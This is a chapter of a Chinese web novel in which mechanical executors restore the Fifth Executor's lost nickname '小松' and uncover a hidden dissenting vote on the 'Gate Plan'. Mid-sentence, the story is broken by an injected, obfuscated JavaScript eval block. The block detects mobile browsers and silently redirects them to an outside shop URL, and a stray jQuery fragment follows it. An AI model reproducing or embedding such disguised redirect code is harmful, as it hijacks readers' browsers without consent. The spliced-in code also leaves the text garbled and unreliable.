第一执行体彻底停下移动功能以后，第五执行体把它固定在了姓名清除室左侧那面承重墙旁。
这显然算不上什么舒服的位置。墙体十六年没维护，金属夹层里全是灰，第一执行体白色外壳刚靠上去，肩后便蹭出一道脏印。林弥看了两眼，顺手从背包里翻出一块不知道什么时候被蘑菇长老塞进去的软布，递给第五执行体：“能垫一下吗？”
第五执行体接过去，认真扫描。
【材质承重能力低。】
“不是拿来承重的。”
【用途？】
“让它靠着舒服点。”
第五执行体看向第一执行体。第一执行体的金色竖线也转过来，两名执行体沉默对视了几秒，像在共同计算“舒服”究竟属于哪一级必要需求。最后，第五执行体还是把软布折了两折，塞进第一执行体后颈与墙面之间。
第一执行体没有评价，只记录了一句。
【接触压力下降百分之十二。】
林弥觉得这大概已经算它的“挺舒服”。
门前那具回归载体情况却不太好。合并程序虽然停了，三百多段意识依旧挤在一副临时身体里。第五执行体的固定环从外侧撑住它的肩、腰和膝部，原本只是为了防止载体在边界崩溃时摔散，可白门后方的拉力始终没有彻底消失，固定环便随着抵抗不断收紧。
最外层那张脸换了几次，最后停在一个十几岁孩子的轮廓上。它低头看着腰间的银色环，忍了一会儿，还是开口：“有点疼。”
第五执行体立刻转头。
【具体位置。】
孩子用不太稳定的手指了指右侧腰骨：“这里，还有腿。像被夹住。”
【当前固定压力低于结构损伤阈值。】
孩子愣了愣：“可还是疼。”
第五执行体没动。
林弥看见它掌心的环控界面已经打开，上面只有两组数值：结构稳定阈值和最低约束阈值。疼不在表格里。
那个孩子大概也没指望它听懂，停了一会儿，又小声商量：“能不能……松一点？”
第五执行体的指尖突然停住。
姓名清除室深处随即响了一声很轻的提示。
【检测到历史关键词。】
【“松一点”。】
【关联档案：第五执行体非标准压力调整记录。】
M-12几乎是从天花板上掉下来的。机械鸟银翼展开，一道扫描光越过第五执行体，直接落到刚刚被重新激活的旧索引上。【不是姓名记录，是行为记录。关键词出现频率很高。】
林弥没有催它先查，低头看向回归载体：“还能撑吗？”
“能。”孩子说，“就是这个圈越来越紧。”
第五执行体终于动了。它没有等系统给出新的压力标准，手指在界面上往下一划，腰间固定环放宽了一点。六毫米，不多，载体的结构也没有因此散开。
孩子明显松了口气。
“再一点可以吗？”
第五执行体重新扫描。
这次它没有先报损伤阈值。
【可以。】
固定环又松了四毫米。
门后拉力立刻拽得载体晃了一下，第五执行体另一只手抬起，用第二道环托住它后背，重新分配受力。原本压在腰和腿上的力量被拆成四处支撑，稳固程度没有下降，人却能站得更自然了。
那个孩子低头看了半天：“这样好多了。”
第五执行体的动作停了一瞬。
【确认。】
这一次，它记录的是“好多了”。
M-12已经把第一份旧档案翻了出来。
画面地点是一座废弃高架转运平台。旧世界最后几年，地表交通时好时坏，很多转移工作必须靠临时轨道完成。第五执行体当时负责“群体约束与固定”，按照任务要求，进入运输区的人必须套上固定环，以免混乱时冲出安全范围。
影像里的固定环比现在粗得多，冰冷的银灰色金属横在人腰间，后方连接运输轨。有人挣扎，有人骂，还有人只是低头站着。
第五执行体从人群旁走过，一圈圈检查锁扣。
一名头发花白的女人忽然叫住它：“喂，这个太紧了。”
第五执行体停下。
“符合标准。”
“标准也不知道我的腰在哪儿疼。”女人显然脾气不算好，抓着环边往外拽了拽，“松一点，我又不会跑。”
“可能脱离固定区。”
“我腿都这样了，跑给你看？”
画面往下移了一点。
女人右腿用两根临时固定板夹着，连站稳都费劲。
第五执行体沉默了两秒，将固定环放宽。
系统立刻弹出警告。
【约束值低于标准。】
第五执行体看了一眼，没有调回去。
画面很快结束。
第二段记录来自三天后，地点换成另一座临时转运点。这次是个抱着纸盒的年轻男人，固定环扣住他时正好压到盒角，里面传来细细的叫声。
“等会儿。”男人急得直挡，“里面有东西。”
第五执行体扫描。
【低优先级动物生命体。】
“低优先级也是活的。”男人把纸盒往怀里护了护，“你这个环再紧一点，它就真没了。松点。”
第五执行体再次调低压力。
纸盒里钻出一只灰扑扑的小脑袋，看不出是猫还是后来哪一种三尾兽的祖先。它隔着纸箱边缘看了第五执行体半天，忽然打了个喷嚏。
林弥看到这里忍不住道：“它当年怎么什么都固定？”
机械鸟回答得很快：【第五执行体初始定义即为约束、固定与秩序维持。】
“包括猫？”
【文件认为运输对象携带物属于整体固定范围。】
“旧世界活得也挺累。”
第一执行体在墙边纠正：【该评价缺乏统计依据。】
林弥回头：“你休息。”
【我当前正在休息。】
“……行。”
第三段影像比前两段完整。
那是夜里。运输平台停了电，备用灯只亮一半，人群挤在临时围栏后等下一批车。第五执行体站在入口，一圈圈固定环将所有人连接在运输轨上。
忽然有人喊：“上面掉东西了！”
紧接着，高处一段失去支撑的金属架砸下来。
人群一下乱了。按照原有约束程序，固定环会自动收紧，确保所有人留在指定区域，可那一刻，留在原地恰恰最危险。
第五执行体几乎没有停顿。
所有固定环同时解锁。
人群向两侧散开，金属架砸在中间，擦着最后几个人的背落下去。灰尘扑满镜头，尖叫声和咳嗽声混成一片，第五执行体站在原地，系统警告一条接一条往外跳。
【集体解除约束。】
【严重违反固定程序。】
【请求说明。】
第五执行体没有回复。
它正在用刚刚解除的固定环做另一件事。
几道银环套住坠落金属架，死死卡住正在继续塌陷的支撑柱；剩下的环则一条条伸出去，把跌倒、受伤和来不及撤开的人从危险区拖出来。
有人被环勒得直骂：“轻点！腰要断了！”
第五执行体放松。
另一个人喊：“我这里还能再紧一点，我快滑下去了！”
它重新收紧。
有人说放，它就放。
有人说紧，它便紧。
标准压力值很快变成一串上下波动的乱线。
系统显然无法接受这种“每个人都不一样”的使用方式，整张界面红得刺眼。第五执行体完全没理，一直等到最后一个人被拉到安全区域，才把所有固定环收回来。
影像本来应该到这里结束。
角落里却突然跑出一个小女孩。
她大概七八岁，鞋丢了一只，脸上全是灰，抱着一只不知道从哪里捡来的塑料水壶。她追着第五执行体跑了几步，喊：“小松！”
第五执行体停下。
女孩气喘吁吁跑到它面前：“刚才那个叔叔还在找他的袋子，你是不是拿走了？”
第五执行体没有处理称呼，只回答：
“物品位于三号轨道右侧。”
“哦。”
女孩转身跑了两步，又被人从后面叫住：“你叫谁小松？”
“它啊。”
“它有编号。”
“我记不住。”女孩理直气壮地说，“而且大家一直让它松一点。”
旁边正在包扎手臂的女人笑起来：“那人家收紧的时候呢？”
小女孩想了半天。
“那也叫小松。”
“凭什么？”
“已经叫顺了。”
周围居然真的有人跟着叫了一声：“小松，三号轨道哪边？”
第五执行体转向说话的人，抬手指路。
没有纠正。
从那天起，后面几份临时转运记录里开始反复出现这个称呼。
“小松，帮我把这个扣一下。”
“小松，这个能不能松点？”
“小松，先别放，我妈还没站稳。”
甚至有一次，系统广播已经明确要求所有人使用正式编号，远处仍然有人扯着嗓子喊：“第五执行体太长了！小松，你听得见就过来一下！”
第五执行体过去了。
最后，这批记录被统一归入一个很冷冰冰的类别。
【指令语义污染。】
理由也十分简单：“松”与固定环压力调整命令高度重合，非任务称呼可能导致执行体错误响应。
于是“小松”被删掉。
林弥看完，没有马上说话。
她以前总觉得名字应该有很复杂的由来，最好带一点郑重的寓意，像石头巨人在碑上刻下的字，或者白鹿唱很久才能唱完的旧调子。后来发现，很多名字根本没有那么隆重。有人嫌编号长，有人叫顺了嘴，还有个小孩觉得大家总喊“松一点”，便干脆把它叫成小松。
可偏偏是这种随手叫出来的称呼，被许多人一次次使用以后，就慢慢和某个具体的存在连在了一起。
M-12完成交叉核验。
【独立记录四份。】
【不同地点使用该称呼者共十一人。】
【第五执行体均有明确回应。】
【历史非任务称呼真实性确认。】
影子生物已经把黑纸铺好，却没有直接落笔。戴眼镜影子转向第五执行体：“是否登记？”
第五执行体看着投影里的小女孩。
那段影像已经停住了，女孩赤着一只脚，站在灰尘里，正一脸理所当然地看着它。十六年前的第五执行体面无表情地站在她面前，银色固定环一圈圈收拢在身后。
很久以后，第五执行体低头看向自己现在的手。
【登记历史称呼。】
影子生物落笔。
【第五执行体历史非任务称呼：小松。】
【来源：旧转运区临时使用称呼。】
【当前使用：待本人确认。】
那具回归载体突然举了一下手。
三百多段意识还没完全分开，这个动作做得很艰难，像一群人商量半天才借到同一条胳膊。最外层仍然是刚才那个孩子的声音：“我能叫吗？”
第五执行体看向它。
“就叫一次。”孩子解释，“因为刚才你真的给我松了。”
第五执行体沉默片刻。
【可以。】
孩子弯起眼睛。
“小松。”
姓名清除室没有出现轰鸣，也没有什么巨大的权限变化。
只有门内深处亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804055|208926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起了一点很小的光。
一枚被拆得只剩零散笔画的姓名记录从白门里慢慢飘出来，最初还被数条功能指令缠住，第四执行体伸手将那些指令一根根剥离。最后留下的两个字非常简单。
小松。
它没有直接钻进第五执行体核心，只飘到银色固定环旁边，跟着环一起晃了一下。
第五执行体看了它很久，伸出手。
姓名落在掌心。
第一执行体在墙边完成最后核验。
【称呼记录已归还。】
【不存在强制绑定。】
【不改变第五执行体历史责任。】
第五执行体合上手。
【确认。】
林弥忍不住看了第一执行体一眼：“最后一句现在已经成固定格式了？”
【必要。】
“怕找回名字以后，大家觉得以前做过的事都一笔勾销？”
【是。】
林弥点点头：“那留着。”
确实应该留着。
拥有名字不会自动让谁变成好人，也不会把曾经套在别人身上的环全部消失。第五执行体以后可能还要面对那些它没有松开的时刻，那些它按照程序约束过、拖走过的人。名字只是让那段历史里多出一个能够承担的人，而不再只剩下一件“执行过命令的工具”。
白门深处忽然传来一次很轻的震动。
这次所有人都警觉起来，第三执行体已经抬起重刃，浅色水母的水膜迅速收紧。第四执行体却先一步伸手，按住了刚刚闪现的删除提示。
不是攻击。
有人正在销毁旧档案。
【目标文件：第四执行体修正记录。】
【删除进度：百分之十七。】
第四执行体没有请求第一执行体判定，也没等林弥开口。它掌心的暗银字符猛地穿进档案接口，把删除程序卡在百分之十九。
林弥走过去：“能停住吗？”
【可以。】
“会伤到你吗？”
第四执行体没有立刻回答。
第一执行体替它完成扫描。
【不会造成核心损伤。】
林弥放心了一点：“那你自己决定看不看。”
第四执行体望着那份正在被销毁的档案。
上一章他们已经听见里面那个女人说过一句话。
——这一页不要删。
——已经列入修正。
——我知道。
——那就让它冲突。
现在，被第四执行体强行留下的文件终于露出了完整编号。
【修正对象：第七十四号异议记录。】
【执行要求：统一为通过。】
林弥的表情慢慢变了。
“通过什么？”
M-12立刻扫描文件头。
机械鸟眼中的银光闪了两次，没有马上说话。
林弥心里生出一种很不好的预感：“说。”
【门计划最终表决。】
姓名清除室忽然静了下来。
他们早就知道门计划曾经被否决，也知道东塔后来改写了结果。可此前能找到的档案只剩最终版本——全票通过。真正的反对记录，要么缺失，要么只留下被修改过的痕迹。
而现在，第四执行体手里卡住的，正是其中一份。
删除进度仍停在百分之十九。
第四执行体没有继续打开。
它先看向林弥，又看向第一执行体，最后把界面转到自己面前。过了很久，它在公共频道写下一句话。
【这份记录由我修正。】
林弥没出声。
【最终结果中，我把“反对”改成了“通过”。】
它停了一会儿。
【但我留下了原页。】
M-12忽然飞近。
【你违反了修正程序？】
第四执行体掌心的字符轻轻亮起。
【是。】
林弥想起那段录音。
“这一页不要删。”
“已经列入修正。”
“我知道。”
“那就让它冲突。”
原来第四执行体当时真的让它冲突了。
它一边完成系统要求的修正，一边把那张已经被判定“不该存在”的反对票偷偷留在底层。结果因此变成假的，可证据没有彻底死掉。
“说那句话的人是谁？”林弥问。
第四执行体调出声纹。
这一次，机械鸟没有立即播放。M-12先做了三次比对，又把结果交给归影塔主档案核验。等了将近一分钟，它才落回林弥肩侧。
【声纹存在损坏。】
【无法百分之百确认。】
“最接近谁？”
M-12沉默了一下。
【林知微。】
林弥没有动。
白门后方吹来很轻的冷风，把她额前的头发吹开。第五执行体掌心刚刚找回来的“小松”还亮着，第三执行体那份“三声”记录安静封存在一旁，第一执行体靠着墙，后颈垫着那块极不符合东塔审美的软布。
而第四执行体慢慢打开了那张被它藏了十六年的反对票。
最上方是门计划表决栏。
选择项只有两个。
【通过。】
【反对。】
“反对”后面有一道已经褪色的人工勾选。
再往下，是一行手写字。
——如果后来的人已经能够自己选择，请不要用我们的恐惧替他们决定。
林弥盯着那句话看了很久。
直到机械鸟忽然出声。
【下方还有一行。】
那行字被旧修正层盖住了大半。
第四执行体一点点把覆盖层剥开。
最后露出来的只有六个字。
——请把原件留下。